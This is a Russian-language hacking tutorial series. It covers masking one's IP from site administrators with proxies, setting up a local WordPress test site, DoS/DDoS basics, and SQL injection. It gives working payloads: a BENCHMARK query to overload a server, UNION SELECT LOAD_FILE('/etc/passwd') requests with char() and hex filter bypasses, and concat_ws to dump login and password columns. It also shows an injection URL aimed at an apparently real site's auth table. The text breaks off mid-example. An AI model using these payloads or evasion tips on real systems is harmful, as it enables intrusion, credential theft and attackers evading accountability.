Безопасность при взломе.

Установка движка и азы анализа

DoS и DDOS общие принципы.

Sql injection

Прогулка по багтракам.

Безопасность при взломе.
Это действительно важно.
Если администратор сайта обнаружит твой реальный ip адрес,
он без проблем сможет сообщить о проникновении твоему провайдеру.
А дальше как повезет.
Итак, сначала стоит разобрать, как сохраняются твои данные.
Логи ведет веб сервер. Он записывает фактически все телодвижение пользователей.
Вот например если в логах будет замечена такая строка:

65.234.112.11- - [13/Jan/2019:14:23:57 +0300] "GET /scripts/photo?id=1’ " 404 - "-" "-"

Сразу станет ясно что пользователь с адресом 65.234.112.11 пытался проверить параметр id на инъекцию.
Вообще нам важны логи ошибок (ErrorLog) и основные логи.
В ErrorLog хранятся данные ошибочных запросов. В httpd.conf(файл конфигурации веб сервера)
путь к ним можно найти по директиве ErrorLog.
В основном логе находятся все запросы к серверу. Его можно найти по директиве CustomLog.
Ну что ж более или менее понятно.
По сути наша задача это подменить айпи адрес. Ведь именно он нас палит.
Как факт изменить свой ip нельзя. Но! Его можно скрыть или ПОДменить.
Каким образом? С помощью прокси серверa.

Прокси-сервер (от англ. proxy — «представитель, уполномоченный») — служба в компьютерных сетях,
позволяющая клиентам выполнять косвенные запросы к другим сетевым службам

Проще говоря, мы сначала будем подключаться к прокси серверу и уже от туда делать запросы к жертве.
Естественно в логах целевого сайта будет светится айпи прокси сервера. Так то. Теперь по порядку:
Бывают паблик (публичные) прокси.
Бывают приватные прокси (только для избранных).
Как думаю ясно первые можно легко найти в сети. Со вторыми сложнее. Если хочешь приобрести такие нужно платить.
Собственно в чем разница то? Паблик прокси медленные, т.к. их юзает куча народу.
Приватные более быстрые. Вот собственно и все.
Вот несколько источников бесплатных прокси северов:

wwwchecker.freeproxy.ru/checker/last_checked_proxies.php
wwwmadnet.name/tools/proxy/
wwwproxylife.org/proxy/

Ах да… забыли о главном – как же их использовать?
Натягивать их нужно на свой браузер. Разберем на примере троих:

InternetExplorer

Opera

FireFox

InernetExplorer:
Нажмите кнопку Сервис и выберите пункт Свойства обозревателя.
На вкладке Подключения щелкните Настройка LAN.
Установите флажок Использовать прокси-сервер для локальной сети.
В поле Адрес введите адрес прокси-сервера.
В поле Порт введите номер порта.

Opera:
Выбираем: инструменты настройки
Вкладка дополнительно
Пункт сеть
Кнопка прокси серверы
Указываем на галочку HTTP и вводим прокси и порт.

FireFox
Инструменты – настройки
Вкладка дополнительно
Настроить
Ручная нстройка сервера прокси

Ну, на этом пока все. В будущем расскажу про анонимайзеры и цепочки прокси.

Установка и анализ движка.
Незаменимым атрибутом веб хакера является умения анализировать и находить ошибки в php скриптах.
Учиться этому мы начнем уже с этого урока.
Итак, сначала нужно подготовить платформу для тестирования.
Кажется, в прошлой статье я упоминал, что мы будем работать с Денвером.
Денвер это набор дистрибутивов (Apache, PHP, MySQL, Perl и т.д.) и программная оболочка.
Все дело в том, что для его установки не нужно производить практически не каких телодвижений
(в отличии от отдельной установки php apche mysql), но зато теряется гибкость.
Итак, вам нужно скачать denwer и установить его.
Платформу можно считать готовой На примере wordpress 2.3
я покажу, как установить движок.

Итак, после скачивания нужно создать в папке home (Денвера) директорию bugsite11.us
Далее распаковать в эту папку скачанный пакет.
Теперь необходимо создать базу данных. Для этого нужно зайти в phpmyadmin.
Если Денвер запущен, пройдите по этому пути

http://localhost/Tools/phpmyadmin/index.php
Далее в поле «Создать новую базу данных» введите wordpress и нажмите создать. Все.
Теперь переходи по адресу bugsite11.us. Если все было сделано правильно вы увидите главную страницу инсталлятора wordpress.
Пройдите несколько шагов. Когда потребуется ввести данные в поле база данных нужно ввести wordpress в поле пользователь – root, поле пароля оставляем пустым. Сервер – localhost. Все. Теперь можете перейти по адресу bugsite11.us и вы увидите готовенький для
тестинга сайт на локалхосте.
Как видите установить двиг не сложно. Теперь по делу.
Сейчас я поведаю чисто поверхностную информацию об анализе скриптов.

Во-первых - прежде чем изучать код скрипта нужно проверить его в работе. Собственно для этого мы и ставили denwer.

Во вторых – чуть ли не ключевым аспектом при поиске уязвимостей является понимание структуры CMS (или что там мы ставили).
Разбираться лучше всего от начальной страницы (почти всегда index.php). В ней часто выполняются подключение, каких то модулей.
И так по порядку нужно изучать работу скриптов. Кстати, в изучении вам может помочь документация к скрипту.
Если таковая отсутствует можно поискать в Интернете какую либо информацию.

В-третьих – очень часто придется производить поиск по исходному коду. Так что желательно обзавестись
нормальным текстовым редактором. Я предлагаю Notepad++.

Ну и в четвертых нужно обязательно заглядывать на сайт разработчика. Там можно найти доки, информацию
об уязвимостях в предыдущих версиях и вообще много полезной информации.

На этом я закончу. Хочу что бы вы потренировались в установке движков на localhost. В следующем уроке мы
потихоньку начнем разбирать основные ошибки php программистов.

DoS и DDOS общие принципы.
Бывает, что нужный нам сайт недоступен. Браузер говорит нам, что сервер не отвечает.
Это может происходить вследствие DDOS атаки на сервер.
Немного понятий:

DoS - Denial of Service – отказ от обслуживания. На самом деле это не атака, а результат атаки.
По сути DoS происходит из-за ошибок в программном коде либо недостаточной проверки входных данных.
Например, на сервере висит FTP демон. Входные данные от пользователя (например логин) не проверяются
на правильность. Т.е. пользователь может ввести любое кол во символов. Довольно типичная ошибка.

Вот например еще уязвимость в SolarWinds TFTP Server 9.2.0.111
wwwsecuritylab.ru/vulnerability/384458.php
Ошибка может возникнуть при обработке при обработке TFTP пакетов.

Кстати есть довольно известный способ как можно «подвесить» сайт с помощью sql injection:

http://www.example.com/index.php?id=1+BENCHMARK(100000, BENCHMARK(10000, NOW()))

Функция BENCHMARK повторяет действия указанное во втором аргументе количество раз указанное в аргументе параметре.
Функция NOW() показывает текущее время. Т.е. можно прикинуть, как мы загрузим сервер.
Вместо now можно подставить функцию вроде md5().

DDoS – очень часто путают с DoS. Тут расклад немного другой. Смысл этой атаки именно
в «затапливании» сервера огромным количеством запросом, до тех пор, пока сервер не исчерпает свои ресурсы закончиться память
Как ясно с одного компьютера такое не сделаешь. Именно поэтому хакеры составляют ботнет с которого они могут топить сервер запросами.
Ботнет это энное количество компютеров с установленной троянской программой, через которую взломщик может контролировать каждый компьютер.
Ну вот. Если тебя заинтересовала эта тема, могу подкинуть несколько статеек:
wwwinternet-technologies.ru/articles/article_436.html
wwwcyberguru.ru/networks/network-security/botnet-page7.html
wwwfssr.ru/hz.php?name=News&file=article&sid=9384

SQL injection

Обход magis_quert

concat_ws и удобный вывод.

На прошлом уроке мы говорили о такой вещи как магические кавычки. Я в общем рассказал что это.
Сейчас мы разберем как можно обойти эти самые кавычки.

Во-первых, можно использовать функцию char. Эта функция преобразовывает ASCII (аск) код в символы.
ASCII код это код символа. У каждого символа есть свой код. Например, у символа одинарной кавычки код 27.
Таблицу кодов можно найти здесь
Итак, функция char преобразовывает эти коды в символы, т.е. например:
Char(27,27)
Вернет нам две одинарные кавычки.
Кстати зная коды символов можно сделать так:

Зажать клавишу alt и набрать 0 и код символа.
Например, alt+077 выведет нам букву M.
Так же можно выводить некоторые специфические знаки вроде знака копирайта – alt+0169)

Вернемся к нашим скулям:

wwwsite.us/index.php?id=+union+select+1,LOAD_FILE(‘/etc/passwd’),4,5,6,7,8,9,10/*

Если ты забыл, то мы пытаемся загрузить файл /etc/passwd (файл со списком аккаунтов)
Часто кавычки режутся. А что если сделать так:

wwwsite.us/index.php?id=+union+select+1,LOAD_FILE(char(27,47,101,116,99,47,112,97,115,119,100)),
4,5,6,7,8,9,10/*

Кавычки закодированы, значит все ок.
Еще можно обойти фильтрация путем замены исходной строки аналогичной ей, только в хекс(hex) варианте (в шестнадцатеричном варианте).
Причем перед строкой нужно подставить знак 0x. Смотрим на примере:
Берем исходную строку '/etc/passwd'. Опять же идем на сайт wwwx3k.ru выбираем раздел SQL Hex и вписываем строку
На выходе 0x5c272f6574632f7061737377645c27
В нашем примере это будет так:

wwwsite.us/index.php?id=+union+select+1,LOAD_FILE(0x5c272f6574632f7061737377645c27),4,5,6,7,8,9,10/*

concat_ws.
Для лучшего понимания возьмем реальный пример:

http://www.photoworld.kz/index.php?mod= … ,29,30,31,
32,33,34,35,36+from+auth--+
Видим, что только одно читабельное поле – 2. Скажу наперед, что поле логина – login, а пароля – pwd.
Итак, наша задача скомбинировать эти два поля и вывести в удобном виде. Делается это с помощью функции concat_ws:

concat_ws(0x3a,login,pwd)

Первый аргумент это разделитель между полями. 0x3a записан в sql hex, в ASCII это будет : (знак двоеточия), т.е. вывод произойдет такой:

Login:pwd

Вот еще пример:

concat_ws(0x2d,login,pwd)
0x2d означает тире (-)

Login-pwd
А вот как это будет выглядеть в нашем случае: